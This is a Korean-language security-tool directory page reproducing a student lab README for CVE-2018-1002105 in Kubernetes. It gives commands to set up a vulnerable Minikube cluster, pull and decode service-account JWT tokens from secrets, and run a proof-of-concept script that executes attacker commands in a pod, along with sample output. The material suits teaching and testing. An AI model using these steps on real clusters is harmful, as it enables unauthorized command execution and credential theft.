Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-1002105 | Kitploit
도구/GitHubGitHub/sh-ubh/cve-2018-1002105
Privilege EscalationContainer SecurityVulnerability AnalysisExploitationPenetration TestingCloud Security
GitHubsh-ubh/cve-2018-1002105

CVE-2018-1002105

저장소 보기
14년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CMPT733-Group11(0x90)

CVE-2018-1002105

팀원: Abhishek Rungta, Shubham Saini, Siddhant Sood

환경 설정

  • linux VM (예: Ubuntu 20.04)
  • 로컬 kubernetes 배포용 Minikube
  • 다음의 이전 버전 중 하나(1.0.x— 1.9.x, 1.10.0—1.10.10,1.11.0—1.11.4,1.12.0—1.12.2)

익스플로잇 실행

가상 박스 이미지(.ova 파일)를 제공했습니다. 다운로드하여 VM을 생성하세요. 제공된 ova는 docker v18.09 및 minikube v1.9.0으로 사전 구성되어 있습니다.

OVA 링크

kubernetes 클러스터 구축

가상 이미지에는 이미 minkube와 필요한 kubernetes 버전이 있으므로 다음 명령을 실행하여 minikube를 시작하면 됩니다

root@kitploit:~
minikube start --kubernetes-version=v1.12.2

새 사용자, 네임스페이스 생성 및 역할 할당

다음 명령을 사용하여 새 사용자와 네임스페이스를 만들고 생성된 사용자에게 RBAC 역할을 할당합니다.

root@kitploit:~
kubectl apply -f fixing_policy.yml

conntract에 대한 액세스 제거

root@kitploit:~
kubectl edit configmaps kube-proxy --namespace=kube-system

maxPerCore 설정을 0으로 변경하세요

JWT 토큰 가져오기

먼저 다음 명령을 실행하여 시스템에 저장된 모든 jwt 토큰을 확인합니다

root@kitploit:~
kubectl get secrets -A

생성된 특정 사용자의 secret을 가져오려면 다음 명령을 실행하세요:

root@kitploit:~
kubectl -n [namespace] get secrets [user-token] -o json

그런 다음 base64로 디코딩합니다.

root@kitploit:~
export TOKEN=$(echo TOKEN | base64 -d)
echo $TOKEN

IP 주소와 포트 번호 가져오기

root@kitploit:~
kubectl cluster-info

Pod 배포

root@kitploit:~
kubectl run --image=nginx:alpine securenginx -n poc

POC 실행

필요한 모든 인수를 지정하세요:
-t 대상> ip:port (필수)
-j 사용자의 JWT 토큰 (필수)
-p pod (필수)
-n 네임스페이스
-m 메서드 (필수)
-c 컨테이너
-x 공격자 명령

테스트 케이스

입력

root@kitploit:~
./poc.py -t [IP:Port] -j [token] -p [pod] -n [namespace] -m attach -x "command"
root@kitploit:~
./poc.py -t 127.0.0.1:32768 -j $TOKEN -p securenginx -m attach -n poc -x "ifconfig eth0" 

출력

root@kitploit:~
eth0      Link encap:Ethernet  HWaddr 02:42:AC:11:00:02  
          inet addr:172.17.0.2  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1313 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1224 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:217603 (212.5 KiB)  TX bytes:428778 (418.7 KiB)

{"metadata":{},"status":"Success"}

데모 영상

데모 영상 링크

도구 다운로드